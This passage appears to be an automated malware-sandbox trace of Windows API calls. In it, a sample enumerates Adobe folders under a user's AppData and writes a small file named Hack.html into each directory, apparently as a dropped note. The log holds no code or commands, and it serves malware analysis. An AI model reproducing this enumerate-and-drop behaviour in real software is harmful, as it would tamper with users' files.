HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\", lpFilePart=0x0) returned 0x49 [0077.983] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a768 [0077.984] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.985] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.985] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0077.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.985] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search", lpFilePart=0x0) returned 0x48 [0077.985] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\", lpFilePart=0x0) returned 0x49 [0077.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a768 [0077.985] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.986] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.986] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0077.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\Hack.html", lpFilePart=0x0) returned 0x52 [0077.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\search\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.986] GetFileType (hFile=0x174) returned 0x1 [0077.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.987] GetFileType (hFile=0x174) returned 0x1 [0077.987] WriteFile (in: hFile=0x174, lpBuffer=0x27e8748*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x27e8748*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0077.988] CloseHandle (hObject=0x174) returned 1 [0077.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x4b [0077.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0077.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.989] GetFileType (hFile=0x174) returned 0x1 [0077.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0077.989] GetFileType (hFile=0x174) returned 0x1 [0077.989] WriteFile (in: hFile=0x174, lpBuffer=0x27eaf78*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x27eaf78*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0077.990] CloseHandle (hObject=0x174) returned 1 [0077.990] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x46 [0077.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.991] GetFileType (hFile=0x174) returned 0x1 [0077.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.991] GetFileType (hFile=0x174) returned 0x1 [0077.991] WriteFile (in: hFile=0x174, lpBuffer=0x27ed798*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27ed798*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.992] CloseHandle (hObject=0x174) returned 1 [0077.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x40 [0077.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\", lpFilePart=0x0) returned 0x41 [0077.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0077.993] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.993] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0077.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.994] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x40 [0077.994] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\", lpFilePart=0x0) returned 0x41 [0077.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0077.994] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.994] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.994] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0077.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x4d [0077.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\", lpFilePart=0x0) returned 0x4e [0077.995] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.004] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.004] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.005] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.005] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x4d [0078.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\", lpFilePart=0x0) returned 0x4e [0078.005] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.005] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.006] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.006] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.006] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.006] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary", lpFilePart=0x0) returned 0x65 [0078.006] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpFilePart=0x0) returned 0x66 [0078.006] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a768 [0078.018] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.018] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.018] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.020] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.020] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.020] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.020] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.021] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary", lpFilePart=0x0) returned 0x65 [0078.021] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\", lpFilePart=0x0) returned 0x66 [0078.021] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a768 [0078.022] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.023] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all", lpFilePart=0x0) returned 0x69 [0078.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\", lpFilePart=0x0) returned 0x6a [0078.024] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.025] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.025] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.026] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all", lpFilePart=0x0) returned 0x69 [0078.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\", lpFilePart=0x0) returned 0x6a [0078.026] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.026] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.027] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.027] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\all\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.027] GetFileType (hFile=0x174) returned 0x1 [0078.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.028] GetFileType (hFile=0x174) returned 0x1 [0078.028] WriteFile (in: hFile=0x174, lpBuffer=0x27fadcc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x27fadcc*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.029] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt", lpFilePart=0x0) returned 0x69 [0078.029] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\", lpFilePart=0x0) returned 0x6a [0078.029] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.030] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.032] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.032] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.033] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt", nBufferLength=0x105, 